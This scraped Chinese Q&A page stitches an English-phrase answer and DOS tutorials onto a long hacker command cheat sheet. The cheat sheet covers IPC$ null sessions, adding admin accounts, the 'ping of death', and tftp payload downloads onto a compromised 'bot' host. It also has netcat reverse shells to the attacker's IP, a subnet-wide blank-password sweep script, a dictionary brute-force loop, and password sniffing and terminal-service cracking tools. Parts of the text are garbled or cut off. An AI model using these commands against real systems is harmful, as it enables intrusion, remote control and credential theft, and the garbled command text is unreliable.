❶ 給某人下命令英文片語
order someone to do something
希望我的回答能幫到您,望採納
❷ DOS下的常用命令
DOS命令字典..收藏
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:***istrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\***$ 復制本地c:\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\***$\svv.exe c:\ 或:\\ip\***$\*.* 復制對方***i$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的訪問許可權;/G 用戶名erm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysql*** -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:***istrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立***istrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U
❸ 什麼是DOS
在1995年Windows 95推出以前,占統治地位的操作系統是DOS(Disk Operation System 磁碟操作系統)。
接觸電腦早一點的人想必都聽說過DOS的大名,更有很多人到今天仍然對DOS時代懷念不已,雖然自己的電腦早已用上了Windows 95,但仍要在硬碟上保留一份DOS,以備不時之需。
在DOS環境下,開機後,我們面對的不是桌面和圖標,而是這樣的電腦屏幕:這個C:\>叫做提示符,這個閃動的橫線叫做游標。這樣就表示電腦已經准備好,在等待我們給它下命令了。我們現在所需要做的,就是對電腦發出命令,給電腦什麼命令,電腦就會做什麼。那我們又怎麼向電腦發布命令呢?
很簡單。比如,我們想看看現在幾點鍾了,就可以輸入時間命 令,敲入time四個字母,它在英文中是「時間」的意思,再敲回車鍵加以確認,這時屏幕上就顯示出當前時間。
再敲回車鍵,瞧!又出現提示符了,就可以輸入下一條命令了。
如果想看日期,輸入date,然後敲回車鍵確認。
這時屏幕上顯示出當前日期。再敲回車鍵就回到提示符下。
這就是DOS的命令輸入方法,和 Windows 95中用滑鼠尋找圖標來運行程序不同,DOS中是通過輸入英文命令加回車鍵這種方式來執行程序的。
怎麼樣,和Windows 95完全不一樣吧?在字元界面下,我們只能通過鍵盤輸入字元來指揮電腦工作,電腦完成一個命令後,出現下一個提示符,我們就又可以給電腦下命令了。注意,在DOS下電腦一次只能做一件事,做完以後才能開始下一件事;而在95下,我們可能讓電腦同時干幾件事,比如,我們可以一邊拷貝文件,一邊寫文章,一邊瀏覽Internet。所以人們把DOS稱為單任務的操作系統,而把 Windows 95稱為多任務的操作系統。
在DOS中,文件與目錄是最重要的概念,這和95一樣,不同的是,「目錄」在95中叫做「文件夾」。
如果我們想查看電腦中的文件,可以輸入dir命令,然後回車,你可以試一下。
❹ Windows下的常用的DOS命令DOS命令有哪些呢
在這里DOS系統中的命令已經很少用了,可是很少用並不是沒用,許多高手還是喜歡用DOS使用來進行基本的操作,這里我來具體講一下常用的DOS命令。DOS命令總共大約有一百個(包括文本編輯、查殺病毒、配置文件、批處理等),我們這里詳細介紹常用的DOS命令。1.dirdir是英文單詞directory(目錄)的縮寫,主要用來顯示一個目錄下的文件和子目錄。[功能]顯示指定磁碟、目錄中的文件和子目錄信息,包括文件及子目錄所在磁碟的卷標、文件與子目錄的名稱、每個文件的大小、文件及目錄建立的日期時間,以及文件子目錄的個數、所佔用總位元組數以及磁碟上的剩餘總空間等信息。[格式]dir[C:][path][filename][.ext][/o][/s][/p][/w][/a][說明]dir是DOS命令中最常用的一個。斜杠表示後面的內容是參數。DOS參數最常用的是以下四個:/p顯示信息滿一屏時,暫停顯示,按任意鍵後顯示下一屏/o排序顯示。o後面可以接不同意義的字母/w只顯示文件名目錄名,每行五個文件名。即寬行顯示/s將目錄及子目錄的全部目錄文件都顯示2.mdmd是英文makedirectory(創建目錄)的縮寫[功能]創建一個子目錄[格式]md[C:]path[舉例]用md建立一個叫做purple的目錄3.cdcd是英文changedirectory(改變目錄)的縮寫[功能]改變或顯示當前目錄[格式]cd[C:][path][說明]路徑可以使用絕對路徑和相對路徑兩種。如果只有cd而沒有參數,則只顯示當前路徑。注意:子目錄中一定有兩個「特殊目錄」,即「.」「..」,其中一點表示當前目錄,兩點表示上一層目錄。從簡單實用的角度來看,我們只要學會逐層進入(cd下一層某目錄名),和逐層退出(cd..)就可以解決所有問題。當然也可以用絕對路徑的辦法。[舉例]進入我們剛才建立的purple目錄4.rdremovedirectory--刪除目錄[功能]刪除空子目錄[格式]rd[d:]path[說明]rd是專門刪除空子目錄的命令。注意兩條:一是不能刪除非空目錄;二是不能刪除當前目錄。[舉例]用rd刪除purple這個目錄5.在英文中是復制的意思[功能]復制一個或一組文件到指定的磁碟或目錄中[格式][C:][path][filename.ext][C:][path]filename.ext[說明]復制文件命令基本用法是:「復制源文件名目標文件名」。如果只寫目標路徑而不寫目標文件名,表示同名復制;否則稱為換名復制。注意換名復制一般不要更改文件擴展名。[舉例]將C:\purple目錄的所有文件復制到軟盤,可以打如下命令,請注意當前盤與當前路徑不同:C:\>purpleA:\如果目標盤上已有同名文件,會出現如下提示,「Overwritexxxx(Yes/No/All)」此時回答Y則覆蓋當前文件,N則保留,A則覆蓋此後的所有文件而不再提問。6.deldel是英文delete(刪除)的縮寫[功能]刪除指定磁碟、目錄中的一個或一組文件[格式]del[C:][path]filename.ext[說明]這個命令應小心使用。一旦被刪除,將不易恢復。同樣可以採用通配符為刪除一類文件。當利用*.*時,為了安全將給出警告,確定方進行刪除工作。刪除過程如沒有信息提示,表示已正確刪除。注意這個命令不能刪除具有隻讀、隱含、系統屬性的文件;如果指定文件不存在,則出現「Filenotfound」的提示;DOS對誤刪除的文件可以用UNDELETE外部命令恢復;它只能刪文件,不能刪目錄。7.renren是英文rename(重新命名)的簡寫[功能]對指定磁碟、目錄中的一個文件或一組文件更改名稱[格式]ren[C:][path]filename1[.ext]filename2[.ext][說明]改名操作只限於某個文件某組文件的名稱,它不會更改文件所在的目錄。如果使用了通配符,則對一批文件進行更名。8.type[功能]在屏幕上顯示文本文件內容命令[格式]type[C:][path]filename.ext[說明]type命令用來在屏幕上快速、簡便地顯示文本文件的內容,擴展名為TXT的文件是文本文件。如果用這個命令顯示擴展名為EXE或COM等其它文件,輸出的結果往往是一些亂七八糟的符號並伴有無規則的響鈴聲,有時甚至會出現死機現象。9.format[功能]磁碟格式化[格式][C:][path]formatdrive:[/S][說明]廠家製造的各種磁碟可用來存儲各種操作系統下的文件。不同操作系統的磁碟格式一般是不相同的,是不通用的。format命令就是使一個新的磁碟可以被DOS操作系統識別,即可存儲DOS文件。這個命令對磁碟的格式化過程,實際上是用DOS規定的信息存儲格式對磁碟進行規劃的過程。格式化磁碟時,要清除磁碟上已經存在的所有數據,在磁碟上寫上引導記錄,劃分出文件分配表和根目錄,同時,它還要找出磁碟上的所有壞扇區並作上不可使用的標記。命令參數我們這里只列出了一個:/S。當使用了這個參數後,磁碟格式化並裝入操作系統文件,使之變成引導盤。相當於format後再進行下一命令:SYS。10.disdisk,翻譯成中文就是磁碟復制[功能]復制出一個和原來磁碟內容一模一樣的磁碟[格式]disk源驅動器名目的驅動器名[說明]它的主要用途就是用來備份。比如我們的電腦在剛買來時,會隨機附帶一些設備驅動程序磁碟,這些驅動程序在以後都有可能用到,為防止這些磁碟的損壞,一定要將它們都備份一套,這時,使用disk命令是比較快捷和方便的。11.deltree[功能]刪除目錄樹[格式][C:][path]DELTREE[C1:][path1][[C2:][path2][…]][說明]這個命令將整個指定目錄樹全部消滅,而不管它是否是只讀、隱藏與否。使用應特別小心。它是一個危險命令。12.memmem是memory的縮寫[功能]該命令用來查看你的計算機內存有多少,以及內存的使用情況。[格式]直接鍵入mem命令13.chkdskchkdsk是checkdisk的縮寫。[功能]用來檢查你的磁碟的使用情況。[格式]chkdsk磁碟名[說明]例如要檢查A盤使用情況,就輸入chkdskA:,檢查c盤使用情況,就輸入chkdskC:,如果直接輸入chkdsk,就檢查當前磁碟的使用情況。14.sys[功能]傳遞系統文件命令。將DOS的兩個隱含的系統IO.SYS和MSDOS.SYS傳送到目標磁碟的特定位置上,並將COMMAND.COM文件復制過去。完成後,目標盤成為DOS的啟動盤。[格式][C: